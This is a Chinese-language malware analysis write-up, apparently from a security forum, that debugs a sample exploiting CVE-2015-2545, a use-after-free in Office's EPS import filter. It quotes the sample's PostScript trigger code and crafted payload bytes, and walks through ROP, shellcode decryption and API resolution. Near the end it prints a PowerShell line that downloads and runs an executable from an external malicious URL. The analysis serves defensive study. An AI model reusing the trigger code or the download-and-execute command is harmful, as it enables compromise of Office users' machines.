CVE-2015-2545这是一种MSOffice漏洞,允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码。本文主要是对其样本的调试分析过程。
0x01 漏洞说明
-
这是一种MSOffice漏洞,允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码。这种漏洞于2015年3月被发现,漏洞未修补情况持续了4个月。之后,微软发布了修复补丁(MS15-099),解决了这一安全问题。
漏洞发布时间:2015-09-08
漏洞更新时间:2015-09-08
影响系统:Microsoft Office 2007 SP3 Microsoft Office 2010 SP2 Microsoft Office 2013 SP1 Microsoft Office 2013 RT SP1 Microsoft Office for Mac 2011 Microsoft Office for Mac 2016 Microsoft Office Compatibility Pack SP3
-
漏洞原理分析
该word文档会释放image1.eps
文件, 为精心设计的漏洞利用文件,即由 PostScript 语言编写的特殊图形文件,这里 Word 和 PostScript 的关系一定层度上可类比为 IE 浏览器和 JavaScript 的关系。 Word 程序在解析 EPS(Encapsulated PostScript)图形文件时存在一个 UAF(Use-After-Free)的漏洞,其错误代码位于 EPSIMP32 模块。样本中触发此漏洞的那部分 PostScript 代码: ```cpp
/xx_41 5 dict def %定义dict2
xx_41 begin
/keyZ1 1000 array def
/keyZ2 10000 array def
/keyZ3 1000 array def
/keyZ4 1000 array def
/keyZ5 1000 array def
/keyZ6 1000 array def
/keyZ7 1000 array def
/keyZ8 1000 array def
xx_41 end
/xx_18467 3 dict def%定义dict1
xx_18467 begin
/keyZ1 1000 array def
xx_18467 end
/xx_6334 0 def %一个标志位
xx_41
{
xx_6334 1 eq%如果xx_6334为1,则执行.处理第二个元素的时候执行该语句
{ /xx_26500 exch def
/xx_19169 exch def
exit
} if
pop pop
44 string pop
44 string pop 44 string pop 44 string pop 44 string pop 44 string pop
44 string pop 44 string pop 44 string pop 44 string pop 44 string pop
44 string pop 44 string pop 44 string pop 44 string pop 44 string pop
3 3 3 3 3 3
xx_18467 xx_41 copy %漏洞产生地方,拷贝dict时,会释放掉原来的dict,然后申请新的内存放入值.
pop array pop array pop array pop array pop array pop array 1 1280 put 35 string pop 35 string pop
35 string 0 <00000000ff030000030000000000000000000000444444440005000000000000000000> putinterval %将字符串放入pNext指向的位置。
/xx_6334 xx_6334 1 add def
} forall当通过 forall 操作 dict2 对象时,将对 dict2 中的 ‘key-value’ 进行迭代处理,且 pNext 指针指向下一对待处理的 ‘key-value’。然而,proc 中存在 `dict1 dict2 copy` 的操作,此过程会先释放掉 dict2 原有的 ‘key-value’ 空间,之后再申请新空间进行接下来的拷贝,即原先 pNext 指向的 ‘key-value’ 空间被释放了。而后在 putinterval 操作中将重新用到原先 pNext 指向的空间,并向其中写入特定的字符串。因此,在下一次迭代时,pNext 指向的数据就变成了我们所构造的 ‘key-value’。
0x02 forall函数分析:
word 释放 .eps文件后会加载EPSIMP32.FLT,在OD中的加载位置为0x6E050000, 在IDA中修改其imagebase 为0x6E050000. (由于未能一次分析完成, 该模块在分析过程中加载位置发生变化)
2.1 IDA 中定位到forall
函数的位置.
搜索字符串aforall
,然后交叉引用, 定位到forall 的函数处理过程:
2.2 定位到 forall
中处理dict
的位置
2.3 在OD中相应位置下断点:
forall中对dict 的处理过程,包含三个重要的call:
- get_userdict_pair
- store_to_stack(type and value)
- deferred_exec (用户代码)
2.4 get_userdict_pair:
2.4.1 通过ecx 获取到关于dict操作的相关属性
- [ecx + 8] key的个数
- [ecx + 4] 默认循环次数
- [ecx] dict hash-table
由于重新加载了word, 以下imagebase 改为了 0x6D590000
2.4.2 查找相应的真实存在的dict
2.4.3 获取到处理的key和value
得到 value key pNext:
2.5 store_to_stack(type and value)
forall 操作的对象是dict时,首先将key和value放到操作栈。
函数 sub_6D59D27E store_to_stack,传入了两个参数, 一个是将要拷贝的key或者value的在当前栈上的地址, 一个是EPSIMP32.FLT自己实现的操作栈,函数功能即为将key或者value的拷贝到操作栈.
2.5.1首先是在当前栈上的拷贝:
2.5.2 然后同样是当前栈空间的拷贝:
2.5.3 最后是当前栈在操作栈上的拷贝:
2.6 执行每对key-value对应的例程
参数为ecx 与 eax.对应内容如下:
2.6.1定位copy
因为触发漏洞的语句在copy语句, 在IDA中定位到Copy, OD中下断点.会在copy的起始位置断下.
2.6.2 将如下数据拷贝到工作栈:
2.6.3 找到 delete函数,在OD中找到相应的位置,断下
此时入参 ecx 寄存器指向的内容中包含了 dict2 的 hash-table 指针,接下去的操作将逐次释放 keyZ1~keyZ8 的空间,最后 hash-table 也会被释放掉:
第一个delete 操作符循环释放 keyZ1~keyZ8
第二个delete 释放dict table的索引
2.6.4 申请空间 1000byte 空间
位置为发现与free的同一块儿内存. (第二个delete的内存) pNext指向的内存
2.7 执行语句 putinterval :
0<00000000ff030000030000000000000000000000444444440005000000000000000000> putinterval
pNext : 069D5650
2.7.1 找到 putinterval的执行过程
在OD中断下:
2.7.2 定位到野指针的位置.
2.7.3 构造字符串拷贝到野指针的位置:
pNext :06AC58C0
2.8 获取构造的值:
以上将语句
35 string 0 <00000000ff030000030000000000000000000000444444440005000000000000000000> putinterval
执行完成后,pNext(野指针)指向的内存已经变为了上述的值.以下语句将xx_26500 和 xx_19169赋值.
{ /xx_26500 exch def
/xx_19169 exch def
73A84FB0 > 55 push ebp ; memcpy
找到 delete函数
0x03 构造ROP及释放shellcode与payload
3.1 构造string对象:
在 PostScript 中会为每个 string 对象分配专门的 buffer 用于存储实际的字符串内容,其基址及大小就保存在该 string 对象中。就最终样本伪造的 string 对象来说,其 buffer 基址为 0x00000000,且大小为 0x7fffffff,因此借助此对象可以实现任意内存的读写。
在putinterval的此处可以观察到申请的string 起始位置和大小
之后的memcpy实现了构造字符串功能:
3.2 搜索ROP gadgets
可在search proc函数出下断点,在以下位置可以跟踪搜索94 C3等指令过程.此处的edi可以查看search的 C3 94 字节指令()
3.3 将shellcode 和 pe文件拷贝至内存:
在 putinterval 处理函数的如下memcpy出下断点可以观察shellcode以及释放PE文件的大小及位置.
shellcode: size 0x430
PE: size : 0x1A010
3.4 ROP链执行
通过修改操作符 bytesavailable 处理函数中的如下 call 指针跳转到 ROP 链上:
遇到的问题:
EPSIMP32 模块要保证卸载时未使用软件断点: 0xCC 否则会引发winword运行错误, 可使用硬件断点.或者将软件断点都去掉。
0x04 获取shellcode返回地址.
4.1 获取EPSIMP32 代码段范围
这里通过定位异常处理程序来拿到一个准基址, 以0x10000为单位向低地址搜索PE标志(0x5A4D)来 查找EPSIMP32 模块加载基址.然后根据 DllBase+BaseOfCode+SizeOfCode确定该模块的代码段范围
4.2 获取shellcode返回地址
该shellcode是由EPSIMP32 模块的byterinterval(见前一章)函数调用ROP链,然后ROP链通过RET指令跳转到shellcode起始地址 (调用ROP链时使用opcode:FF 5010的字节码,对应汇编指令为call dword ptr [eax+10h] 的指令). shellcode中结束后,要想执行正常返回改行指令的下一行时,需要该返回在esp的位置.下面一节代码功能是寻找该返回地址.主要思路是:
获取当前栈底ebp的位置,然后以ebp为基准, -4为步长向esp方向取栈中每个数据, 如果该数据大小落在了ESPIMP32的.text段, 则进行该栈中数据(实际是一个地址)之前的三个字节比对,如果是FF 50 10,则说明是返回地址.
得到返回地址后,存储到[esp+18]的位置.
0x05 解密shellcode
通过seg000:08352FD4 E8 00 00 00 00 call$+5
这条指令获取到下一行地址入栈.用该地址加减字节数得到解密的起始地址放入esi.然后用解密起始地址加上一定的字节数得到另一段需要解密的地址放入edi. 通过以下两条指令进行解密.
shr dword ptr [edi],1
rcl dword ptr [esi], 1
0x06 遍历LDR链表,找到msvcrt模块
通过fs:[ecx+30h]获取到PEB的地址
PEB中 0xC的位置是PEB_LDR_DATA结构:
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
在PEB_LDR_DATA结构中,又包含三个LIST_ENTRY结构体分别命名为:
InLoadOrderModuleList;模块加载顺序
InMemoryOrderModuleList; 模块在内存中的顺序
InInitializationOrderModuleList; 模块初始化装载顺序
以上三个List实际为三个结构体:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
Flink 与 Blink 分别指向了下一个模块的FLink地址和上一个模块的FLink地址,这个地址指向了一个结构:LDR_DATA_TABLE_ENTRY, 然而值得注意的是并不是该结构的起始地址, 而是其中结构成员InInitializationOrderLinks的起始地址(及其中的FLINK).意味着获取到LDR_DATA_TABLE_ENTRY时,加8个字节就得到了该模块的DllBase.
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
注意: OD中第一个LDR_DATA_TABLE_ENTRY结构是显示错误的,如下77D60000是DllBase.
找到了msvcrt,执行0835303F E8 51000000 call 08353095
0x07 获取之前写入内存中的PE文件
值得一提的是,上文提到的解密完成后esi指向的位置刚好是PE写入前20个字节的位置,edi指向的位置加0x4个字节是PE写入的位置.在下图的GetPELoadcationAndSize函数中得到了PE文件的起始地址和大小,分别通过eax和edx返回.(然而esi edi在后续未用到,做个备注)
083530ED E8 1E020000 call 08353310
GetPELocationAndSize代码如下,主要思路是:以当前指令为起始地址(edi),0x4字节为步长,对比指向的数据为0x55555555,0x66666666, 写入PE的时候用这8字节数据包裹了.
0x08 获取函数地址
8.1 GetFunctionAddr(08353310)的实现
该shellcode自己实现了类似于API GetProcAddress的功能,主要思路是:
- 通过上文中遍历LDR链获取到的msvcrt模块的基址, 找到导入名称表(INT)
- 遍历INT,匹配的函数名
- 得到该函数在IAT中的位置,取得地址.
8.2 函数名的来源
在进行函数名对比的时候,需要的函数名从何而来呢?
下边这幅图中给出了答案. 在调用该函数之时,call
指令将下一行地址入栈, 在此即为GetModuleHandleA的地址,放入了esp的位置. 在进入函数内部取得esp的值,即得到字符串的地址.
8.3 获取函数名称汇总
通过以上方式获得函数地址有:
- GetModuleHandleA
- GetProcAddress
- LoadLiabraryA
- GetTempPathA
- CreateFileA
- WaitForSingleObject
- WriteFile
- CloseHandleA
0x09 释放恶意dll
9.1 构造释放路径
恶意代码首先用GetTempPathA获取当前环境下临时目录,然后拼接字符串,构造了释放路径
9.2 创建文件:
9.3 写入文件:
文件句柄为刚刚CreateFile返回的句柄,写入文件大小为0x=1A000,写入的数据是之前putinterval操作函数写入内存的数据。
0x10 加载该模块:
当一个DLL文件被映射到进程的地址空间时,系统调用该DLL的DllMain函数,传递的fdwReason参数为DLL_PROCESS_ATTACH。这种调用只会发生在第一次映射时。
0x11该模块Dllmain:
线程函数在临时目录释放了文件并执行igfxe.exe:
可以看出dllmain的主要功能是释放并执行恶意文件igfxe.exe.
0x12igfxe.exe
igfxe.exe 使用powershell 下载并执行文件, 由于下载未成功,执行失败.
PowerShell (New-Object System.Net.WebClient).DownloadFile('http://helptelhados.com/wp-admin/tkkdog/standard/1.exe??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????','mess.exe');(New-Object -com Shell.Application).ShellExecute('mess.exe');
0x13 参考文章
https://blog.csdn.net/weixin_33857230/article/details/90366467
https://xw.qq.com/cmsid/20200924A01PSN00
https://paper.seebug.org/368/
https://www.ics-cert.org.cn/portal/page/122/c1b5aa0740fa420a891df7097a9f9f4c.html
本篇完
- 本文作者: zuoyou
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/140
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!